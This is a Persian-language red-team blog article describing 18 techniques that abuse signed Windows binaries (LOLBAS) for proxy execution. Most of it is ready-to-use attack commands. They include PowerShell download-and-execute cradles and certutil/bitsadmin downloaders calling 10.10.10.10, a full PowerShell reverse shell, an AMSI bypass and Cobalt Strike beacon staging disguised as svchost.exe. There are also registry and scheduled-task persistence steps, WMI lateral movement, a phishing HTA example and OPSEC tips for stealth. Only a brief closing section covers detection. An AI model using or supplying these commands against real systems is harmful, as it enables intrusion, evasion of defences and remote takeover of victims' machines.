راهنمای عملیاتی LOLBAS: تکنیکهای پیشرفته Red Team
نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۲/۷
راهنمای عملیاتی LOLBAS: تکنیکهای پیشرفته Red Team
مقدمه
در عملیات Red Team، استفاده از باینریهای native ویندوز (LOLBAS) یکی از موثرترین روشها برای فرار از detection است. این تکنیکها به شما اجازه میدهند بدون استفاده از ابزارهای شناختهشده، عملیات خود را انجام دهید.
در این مقاله، 18 تکنیک عملیاتی را با سناریوهای واقعی و use case های کاربردی بررسی میکنیم.
1. AppVLP - Proxy Execution با امضای Microsoft
دستور پایه:
"%ProgramFiles%\Microsoft Office\root\client\appvlp.exe" "C:\Windows\System32\calc.exe" ""
سناریوهای عملیاتی:
اجرای Payload از Remote Share:
"%ProgramFiles%\Microsoft Office\root\client\appvlp.exe" "\\192.168.1.100\share\payload.exe" ""
اجرای PowerShell Script:
"%ProgramFiles%\Microsoft Office\root\client\appvlp.exe" "powershell.exe" "-ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
مزایای عملیاتی:
- Process با امضای Microsoft اجرا میشود
- Parent process معتبر (Office related)
- Bypass بسیاری از Application Whitelisting solutions
- کمتر توسط EDR ها suspicious تلقی میشود
نکات OPSEC:
- نیاز به نصب Office دارد - قبل از استفاده check کنید
- Command line arguments در logs ثبت میشود
- برای stealth بیشتر، از encoded commands استفاده کنید
2. conhost.exe - Process Spawning با Parent Spoofing
دستور پایه:
conhost.exe "C:\Windows\System32\cmd.exe" /c "powershell -w hidden -c <payload>"
سناریوهای عملیاتی:
ایجاد Hidden Console:
conhost.exe --headless "cmd.exe" /c "curl http://10.10.10.10/beacon.exe -o %temp%\update.exe && %temp%\update.exe"
مزایای عملیاتی:
- میتواند برای spawn کردن processes بدون پنجره visible استفاده شود
- Parent process chain طبیعیتر به نظر میرسد
- مناسب برای persistence mechanisms
محدودیتها:
- کاربرد محدود نسبت به سایر LOLBINs
- در سیستمهای مدرن کمتر موثر است
3. desk.cpl - Screensaver Hijacking
دستور پایه:
rundll32.exe desk.cpl,InstallScreenSaver "C:\Windows\System32\calc.exe"
سناریوهای عملیاتی:
دانلود و اجرای Payload:
rundll32.exe desk.cpl,InstallScreenSaver "cmd.exe /c certutil -urlcache -f http://10.10.10.10/payload.exe %temp%\svc.exe && %temp%\svc.exe"
اجرای Meterpreter Stager:
rundll32.exe desk.cpl,InstallScreenSaver "powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.10.10.10:8080/payload')"
مزایای عملیاتی:
- Bypass AppLocker در بسیاری از configurations
- rundll32.exe یک process معمول است
- میتوان با screensaver واقعی ترکیب کرد برای persistence
تکنیک پیشرفته - Persistence:
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Users\Public\malicious.scr" /f
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d 300 /f
4. dxcap.exe - DirectX Tool Abuse
دستور پایه:
dxcap.exe -c "C:\Windows\System32\cmd.exe"
سناریوهای عملیاتی:
Reverse Shell با dxcap:
dxcap.exe -c "powershell.exe -nop -c $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
دانلود و اجرای Cobalt Strike Beacon:
dxcap.exe -c "bitsadmin /transfer myDownloadJob /download /priority high http://10.10.10.10/beacon.exe C:\Users\Public\svchost.exe && C:\Users\Public\svchost.exe"
مزایای عملیاتی:
- کمتر شناخته شده - detection rate پایین
- نیاز به Windows SDK دارد (معمولاً در محیطهای development)
- مناسب برای targeted attacks روی developer workstations
نکات OPSEC:
فقط در سیستمهایی با SDK نصب شده کار میکند. قبل از استفاده، وجود binary را check کنید:
where /R "C:\Program Files (x86)\Windows Kits" dxcap.exe
5. explorer.exe - Trusted Process Abuse
دستور پایه:
explorer.exe /root,"C:\Windows\System32\cmd.exe"
سناریوهای عملیاتی:
اجرای Payload با Parent Process Spoofing:
explorer.exe /root,"cmd.exe /c powershell -ep bypass -file C:\Users\Public\payload.ps1"
Lateral Movement:
explorer.exe /root,"\\TARGET-PC\C$\Windows\System32\cmd.exe /c <command>"
مزایای عملیاتی:
- explorer.exe یکی از معتبرترین processes در ویندوز
- Parent process chain کاملاً legitimate به نظر میرسد
- Bypass بسیاری از behavioral detections
- مناسب برای long-term persistence
تکنیک پیشرفته - Process Injection:
# از explorer.exe برای spawn کردن process قابل injection
explorer.exe /root,"notepad.exe"
# سپس inject کردن shellcode به notepad
6. ieadvpack.dll - Legacy IE DLL Abuse
دستور پایه:
rundll32.exe ieadvpack.dll,RegisterOCX "C:\Windows\System32\calc.exe"
سناریوهای عملیاتی:
دانلود فایل با certutil و اجرا:
rundll32.exe ieadvpack.dll,RegisterOCX "cmd.exe /c certutil.exe -urlcache -split -f http://10.10.10.10/payload.exe %appdata%\update.exe & %appdata%\update.exe"
اجرای HTA File از Remote:
rundll32.exe ieadvpack.dll,RegisterOCX "mshta.exe http://10.10.10.10/payload.hta"
Fileless Attack با PowerShell:
rundll32.exe ieadvpack.dll,RegisterOCX "powershell.exe -nop -w hidden -encodedcommand <base64_payload>"
مزایای عملیاتی:
- Legacy DLL - کمتر مورد توجه modern security tools
- میتواند با HTA files برای initial access ترکیب شود
- Bypass AppLocker در default configurations
Use Case واقعی - Phishing Campaign:
# در یک LNK file یا macro
rundll32.exe ieadvpack.dll,RegisterOCX "mshta.exe http://legit-looking-domain.com/invoice.hta"
7. pcalua.exe - Program Compatibility Assistant
دستور پایه:
pcalua.exe -a "C:\Windows\System32\cmd.exe"
سناریوهای عملیاتی:
Bypass AppLocker:
pcalua.exe -a "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "-ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/amsi-bypass.ps1')"
اجرای Payload از Alternate Data Stream:
# ابتدا payload را در ADS ذخیره کنید
type payload.exe > legitimate.txt:hidden.exe
# سپس اجرا
pcalua.exe -a "C:\path\to\legitimate.txt:hidden.exe"
دانلود و اجرای Implant:
pcalua.exe -a "powershell.exe" -c "Invoke-WebRequest -Uri 'http://10.10.10.10/agent.exe' -OutFile $env:temp\svchost.exe; Start-Process $env:temp\svchost.exe"
مزایای عملیاتی:
- یکی از محبوبترین LOLBINs در Red Team operations
- Bypass AppLocker و Windows Defender Application Control
- Command line arguments میتواند obfuscate شود
- مناسب برای initial access و lateral movement
تکنیک پیشرفته - Chaining:
# ترکیب با سایر تکنیکها
pcalua.exe -a "cmd.exe" -c "/c wmic process call create 'powershell.exe -enc <payload>'"
8. pcwutl.dll - Windows Troubleshooter Abuse
دستور پایه:
rundll32.exe pcwutl.dll,LaunchApplication "C:\Windows\System32\cmd.exe"
سناریوهای عملیاتی:
Cobalt Strike Beacon Execution:
rundll32.exe pcwutl.dll,LaunchApplication "cmd.exe /c bitsadmin /transfer job http://10.10.10.10/beacon.exe %public%\beacon.exe && %public%\beacon.exe"
Fileless Execution:
rundll32.exe pcwutl.dll,LaunchApplication "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};IEX(New-Object Net.WebClient).DownloadString('https://10.10.10.10/payload.ps1')"
Lateral Movement via WMI:
wmic /node:TARGET-PC process call create "rundll32.exe pcwutl.dll,LaunchApplication cmd.exe /c <payload>"
مزایای عملیاتی:
- کمتر شناخته شده نسبت به pcalua
- rundll32 با pcwutl.dll کمتر flagged میشود
- مناسب برای post-exploitation
OPSEC Considerations:
- LaunchApplication در command line visible است
- ترکیب با process hollowing برای stealth بیشتر
9. Remote.exe - Windows Debugger Tool
دستور پایه:
"%ProgramFiles(x86)%\Windows Kits\10\Debuggers\x64\Remote.exe" /s "cmd.exe" SessionName
سناریوهای عملیاتی:
Remote Command Execution:
Remote.exe /s "powershell.exe -ep bypass" RedTeamSession
# از ماشین دیگر:
Remote.exe /c TARGET-PC RedTeamSession
Persistence Mechanism:
# ایجاد scheduled task
schtasks /create /tn "RemoteDebug" /tr "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\Remote.exe /s cmd.exe DebugSession" /sc onlogon /ru SYSTEM
Reverse Shell Setup:
Remote.exe /s "powershell.exe -c $client=New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" RemoteShell
مزایای عملیاتی:
- ابزار legitimate debugging - کاملاً signed
- قابلیت remote command execution
- مناسب برای C2 channel در محیطهای restricted
- Bypass network restrictions در برخی موارد
محدودیتها:
- نیاز به نصب Windows Debugging Tools
- معمولاً فقط روی developer/admin workstations موجود است
10. rundll32.exe + shell32.dll - Classic Techniques
روش اول - Control_RunDLL:
rundll32.exe shell32.dll,Control_RunDLL "C:\Windows\System32\cmd.exe"
روش دوم - ShellExec_RunDLL:
rundll32.exe shell32.dll,ShellExec_RunDLL "powershell.exe" "-ep bypass -c IEX(irm http://10.10.10.10/payload.ps1)"
سناریوهای عملیاتی:
دانلود و اجرای Payload:
rundll32.exe shell32.dll,ShellExec_RunDLL "cmd.exe" "/c curl http://10.10.10.10/implant.exe -o %temp%\svchost.exe && start %temp%\svchost.exe"
اجرای JavaScript/VBScript:
rundll32.exe shell32.dll,ShellExec_RunDLL "wscript.exe" "//E:jscript \\10.10.10.10\share\payload.js"
Bypass AMSI:
rundll32.exe shell32.dll,ShellExec_RunDLL "powershell.exe" "-w hidden -c [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);IEX(irm http://10.10.10.10/shell.ps1)"
مزایای عملیاتی:
- یکی از قدیمیترین و معتبرترین تکنیکها
- ShellExec_RunDLL میتواند arguments را به target process پاس کند
- Bypass AppLocker در بسیاری از configurations
- مناسب برای phishing و initial access
تکنیک پیشرفته - DLL Hijacking:
# ترکیب با DLL side-loading
rundll32.exe shell32.dll,Control_RunDLL "C:\Program Files\VulnerableApp\app.exe"
# که malicious DLL را از همان directory load میکند
11. Scriptrunner.exe - App-V Script Processor
دستور پایه:
Scriptrunner.exe -appvscript "C:\Windows\System32\cmd.exe"
سناریوهای عملیاتی:
PowerShell Payload Execution:
Scriptrunner.exe -appvscript "powershell.exe -nop -w hidden -encodedcommand <base64_payload>"
دانلود Beacon از Remote:
Scriptrunner.exe -appvscript "cmd.exe /c powershell Invoke-WebRequest http://10.10.10.10/beacon.exe -OutFile $env:appdata\update.exe;Start-Process $env:appdata\update.exe"
مزایای عملیاتی:
- کمتر شناخته شده - low detection rate
- Process signed توسط Microsoft
- مناسب برای محیطهایی با App-V deployed
محدودیتها:
- نیاز به نصب App-V client
- معمولاً در enterprise environments یافت میشود
12. SyncAppvPublishingServer.vbs - Command Injection
دستور پایه:
SyncAppvPublishingServer.vbs "n;Start-Process calc.exe"
سناریوهای عملیاتی:
PowerShell Download Cradle:
SyncAppvPublishingServer.vbs "n;powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')"
Encoded Payload Execution:
SyncAppvPublishingServer.vbs "n;powershell -encodedcommand <base64_encoded_payload>"
Cobalt Strike Beacon:
SyncAppvPublishingServer.vbs "n;$wc=New-Object System.Net.WebClient;$wc.DownloadFile('http://10.10.10.10/beacon.exe','$env:temp\svchost.exe');Start-Process $env:temp\svchost.exe"
مزایای عملیاتی:
- Command injection در VBScript - بسیار قدرتمند
- میتوان PowerShell commands را مستقیماً inject کرد
- Bypass بسیاری از script-based detections
- VBScript execution context - کمتر monitored
تکنیک پیشرفته - Obfuscation:
# استفاده از environment variables و string concatenation
SyncAppvPublishingServer.vbs "n;$a='po';$b='wer';$c='shell';$d=$a+$b+$c;Start-Process $d -ArgumentList '-w hidden -c <payload>'"
13. Teams Update.exe - Microsoft Teams Updater Abuse
دستور پایه:
%LocalAppData%\Microsoft\Teams\Update.exe --processStart calc.exe
سناریوهای عملیاتی:
اجرای Payload از مسیر کاربر:
%LocalAppData%\Microsoft\Teams\Update.exe --processStart "C:\Users\Public\agent.exe"
PowerShell Loader:
%LocalAppData%\Microsoft\Teams\Update.exe --processStart powershell.exe --process-start-args "-w hidden -c IEX(irm http://10.10.10.10/loader.ps1)"
مزایای عملیاتی:
- باینری معتبر Microsoft
- در بسیاری از سیستمهای enterprise نصب است
- Parent process طبیعی (Teams ecosystem)
OPSEC:
- فقط در سیستمهایی که Teams نصب دارند قابل استفاده است
14. url.dll - File Protocol Handler
دستور پایه:
rundll32.exe url.dll,FileProtocolHandler calc.exe
سناریوهای عملیاتی:
اجرای فایل از Remote Share:
rundll32.exe url.dll,FileProtocolHandler \\10.10.10.10\share\payload.exe
اجرای Script:
rundll32.exe url.dll,FileProtocolHandler powershell.exe
مزایای عملیاتی:
- استفاده از handler داخلی ویندوز
- قابل استفاده در LNK یا macro payloads
- Execution chain نسبتاً طبیعی
15. wlrmdr.exe - Windows License Manager Diagnostic Tool
دستور پایه:
wlrmdr.exe -s calc.exe
سناریوهای عملیاتی:
اجرای Command Shell:
wlrmdr.exe -s cmd.exe
Payload Loader:
wlrmdr.exe -s powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
مزایای عملیاتی:
- ابزار diagnostic کمتر شناخته شده
- مناسب برای execution در post-exploitation
- امضای Microsoft
16. zipfldr.dll - ZIP Folder Handler Abuse
دستور پایه:
rundll32.exe zipfldr.dll,RouteTheCall calc.exe
سناریوهای عملیاتی:
اجرای فایل مخفی در ZIP:
rundll32.exe zipfldr.dll,RouteTheCall "C:\Users\Public\archive.zip\payload.exe"
Execution از ADS:
rundll32.exe zipfldr.dll,RouteTheCall "C:\Users\Public\file.txt:payload.exe"
مزایای عملیاتی:
- Handler داخلی Explorer
- میتواند با فایلهای archive برای phishing ترکیب شود
- Detection نسبتاً پایین در برخی EDRها
17. explorer.exe + UNC Execution
دستور پایه:
explorer.exe \\10.10.10.10\share\calc.exe
سناریوهای عملیاتی:
Payload Delivery از SMB:
explorer.exe \\10.10.10.10\payloads\implant.exe
Lateral Movement:
explorer.exe \\TARGET-PC\C$\Windows\System32\cmd.exe
مزایای عملیاتی:
- SMB execution طبیعی به نظر میرسد
- مناسب برای internal network pivoting
18. Multi‑Stage LOLBAS Chain
سناریوی کامل عملیاتی:
1. Initial Execution
pcalua.exe -a powershell.exe -c "IEX(irm http://10.10.10.10/stage1.ps1)"
2. Stage 2 Downloader
stage1.ps1 → دانلود beacon
3. Execution با rundll32
rundll32.exe shell32.dll,ShellExec_RunDLL C:\Users\Public\beacon.exe
هدف این Chain:
- کاهش detection
- تقسیم payload به چند مرحله
- استفاده از چند LOLBIN برای طبیعیتر شدن رفتار سیستم
Detection و Blue Team Considerations
اگرچه LOLBAS برای stealth طراحی شدهاند، اما همچنان قابل شناسایی هستند. تیمهای Blue Team معمولاً موارد زیر را بررسی میکنند:
- Command Line Logging (Event ID 4688)
- Parent / Child Process Relationships
- Network Connections از LOLBIN ها
- Execution از مسیرهای غیرمعمول مانند %TEMP%
نمونه Indicators:
rundll32.exe → powershell.exe
pcalua.exe → cmd.exe
explorer.exe → powershell.exe
جمعبندی
تکنیکهای LOLBAS بخش مهمی از عملیاتهای مدرن Red Team هستند. استفاده از باینریهای داخلی ویندوز باعث میشود فعالیتها طبیعیتر به نظر برسند و بسیاری از مکانیزمهای detection سنتی دور زده شوند.
درک این تکنیکها نه تنها برای تیمهای Offensive بلکه برای Blue Team نیز حیاتی است؛ زیرا شناخت نحوه سوءاستفاده از ابزارهای legitimate سیستم، پایه طراحی detection های موثر محسوب میشود.
منبع: https://lolbas-project.github.io